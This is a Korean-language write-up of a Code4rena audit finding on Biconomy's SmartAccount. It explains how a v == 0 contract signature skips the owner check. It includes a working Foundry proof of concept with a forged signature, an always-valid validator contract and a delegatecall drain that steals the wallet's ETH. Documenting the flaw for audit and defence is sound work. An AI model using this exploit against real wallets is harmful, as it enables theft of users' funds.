code4rena-2023-01-biconomy-h04

[H-04] Arbitrary transactions possible due to insufficient signature validation

보고서

Summary

Signature를 제대로 확인하지 않아 인증을 우회하고 SmartWallet에게 트랜잭션을 호출시킬 수 있다.

Keyword

arbitrary contract call, input validation, signature

Vulnerability

다음은 checkSignatures 함수이다. 이 함수에서 SmartAccount에 트랜잭션을 요청했을 시 signature를 확인한다.

(v, r, s) = signatureSplit(signatures, i);
 
if(v == 0) {
    _signer = address(uint160(uint256(r)));
    require(uint256(s) >= uint256(1) * 65, "BSA021");
    require(uint256(s) + 32 <= signatures.length, "BSA022");
 
    uint256 contractSignatureLen;
 
    assembly {
        contractSignatureLen := mload(add(add(signatures, s), 0x20))
    }
    require(uint256(s) + 32 + contractSignatureLen <= signatures.length, "BSA023");
 
    assembly {
        contractSignature := add(add(signatures, s), 0x20)
    }
    require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
}
else if(v > 30) {
    _signer = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash)), v - 4, r, s);
    require(_signer == owner, "INVALID_SIGNATURE");
} else {
    _signer = ecrecover(dataHash, v, r, s);
    require(_signer == owner, "INVALID_SIGNATURE");
}

signature를 split한 후 필드를 확인한다. v == 0인 경우에는 다른 케이스와는 다르게 require(_signer == owner, "INVALID_SIGNATURE"); 확인을 하지 않는다. v == 0인 경우 서명을 EOA가 아닌 컨트랙트에서 했다는 의미이다. 따라서 해당 주소로 컨트랙트콜을 하여 require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024"); 를 확인한다.

Wallet의 소유자가 컨트랙트인 경우 예외처리. 이건 좋다. 서명 검증 로직을 자체적으로 추가하고 싶다면 이 기능을 이용할 수 있겠다. isValidSignature 함수에서는 원하는 검증을 추가적으로 한 뒤 옳다면 EIP1271_MAGIC_VALUE 값을 리턴하면 된다.

하지만, 이 _signer 가 정말로 Wallet의 소유자인지 확인하는 코드는 존재하지 않는다는 점이 문제이다. isValidSignature 함수는 _signer 컨트랙트의 제작자가 만드는 함수이다. 컨트롤이 전적으로 _signer 주소의 컨트랙트에게 있다.

즉, 공격자가 컨트랙트를 이용해 서명한 후 SmartWallet.execTransaction 를 호출한다면 checkSignatures 에서는 공격자의 컨트랙트가 SmartWallet의 owner인지 확인하지 않는다.

다음은 PoC 사례이다.

contract DummySignatureValidator is ISignatureValidator {
    function isValidSignature(bytes memory, bytes memory) public override view returns (bytes4) {
        return 0x20c13b0b;
    }
}
 
contract StealBalance {
    function steal(address receiver) external {
        payable(receiver).transfer(address(this).balance);
    }
}
 
contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;
 
    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;
 
    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;
 
    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;
 
    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");
 
        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");
 
        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }
    
    function test_SmartAccount_BypassAuthorization() public {
        // Bob creates a wallet and adds some ETH
        vm.startPrank(bob);
 
        address proxy = factory.deployWallet(bob, entrypoint, handler);
        SmartAccount wallet = SmartAccount(payable(proxy));
 
        vm.deal(address(wallet), 1 ether);
 
        vm.stopPrank();
 
        // Attacker bypasses authorization on Bob's wallet by using a dummy contract validator
        vm.startPrank(attacker);
 
        StealBalance stealer = new StealBalance();
        DummySignatureValidator validator = new DummySignatureValidator();
 
        Transaction memory tx = Transaction(
            address(stealer), // to
            0, //value,
            abi.encodeWithSelector(StealBalance.steal.selector, attacker), //data
            Enum.Operation.DelegateCall, // operation
            0 //targetTxGas
        );
        FeeRefund memory feeRefund = FeeRefund(
            0, // uint256 baseGas;
            0, // uint256 gasPrice; //gasPrice or tokenGasPrice
            0, // uint256 tokenGasPriceFactor;
            address(0), // address gasToken;
            payable(0) // address payable refundReceiver;
        );
        uint256 batchId = 0;
        uint256 nonce = 0;
 
        // Build signature pointing to dummy validator
        bytes32 r = bytes32(uint256(uint160(address(validator))));
        bytes32 s = bytes32(uint256(65));
        uint8 v = 0;
 
        bytes memory signature = abi.encodePacked(r, s, v, uint256(0));
 
        // Exec transaction
        wallet.execTransaction(tx, batchId, feeRefund, signature);
 
        // Attacker has stolen the funds
        assertEq(attacker.balance, 1 ether);
 
        vm.stopPrank();
    }
}

출처: PoC 코드 https://github.com/code-423n4/2023-01-biconomy-findings/issues/449

Signature 체크 조건을 우회하면서 컨트랙트 signature로 판단되도록 페이로드를 짠다. 서명자 주소 r 값은 공격자의 컨트랙트 주소로 설정한다.

    // Build signature pointing to dummy validator
    bytes32 r = bytes32(uint256(uint160(address(validator))));
    bytes32 s = bytes32(uint256(65));
    uint8 v = 0;
 
    bytes memory signature = abi.encodePacked(r, s, v, uint256(0));

공격자의 컨트랙트에는 isValidSignature 함수를 구현한다. 무조건적으로 EIP1271_MAGIC_VALUE 값을 리턴한다.

contract DummySignatureValidator is ISignatureValidator {
    function isValidSignature(bytes memory, bytes memory) public override view returns (bytes4) {
        return 0x20c13b0b;
    }
}

delegateCall로 steal 함수를 호출하도록 SmartWallet.execTransaction 를 호출하면 자산을 탈취할 수 있다.

contract StealBalance {
    function steal(address receiver) external {
        payable(receiver).transfer(address(this).balance);
    }
}

Impact

계정의 자산 또는 계정 탈취

  • Wallet에 존재하는 모든 자산을 훔치고, 계정을 탈취하고, Wallet(Proxy)를 삭제할 수 있음 (계정의 자산 또는 계정 탈취)
  • Implementation 주소를 변경하여 해당 Wallet(Proxy)의 로직을 변경하는 등

Mitigation

isValidSignature 를 호출하기 전에 _signerowner 인지 확인한다.


tags: bughunting, smart contract, biconomy, account abstraction, erc4337, crypto theft, arbitrary contract call, lack-of-input-validation-vul, signature, wallet, severity high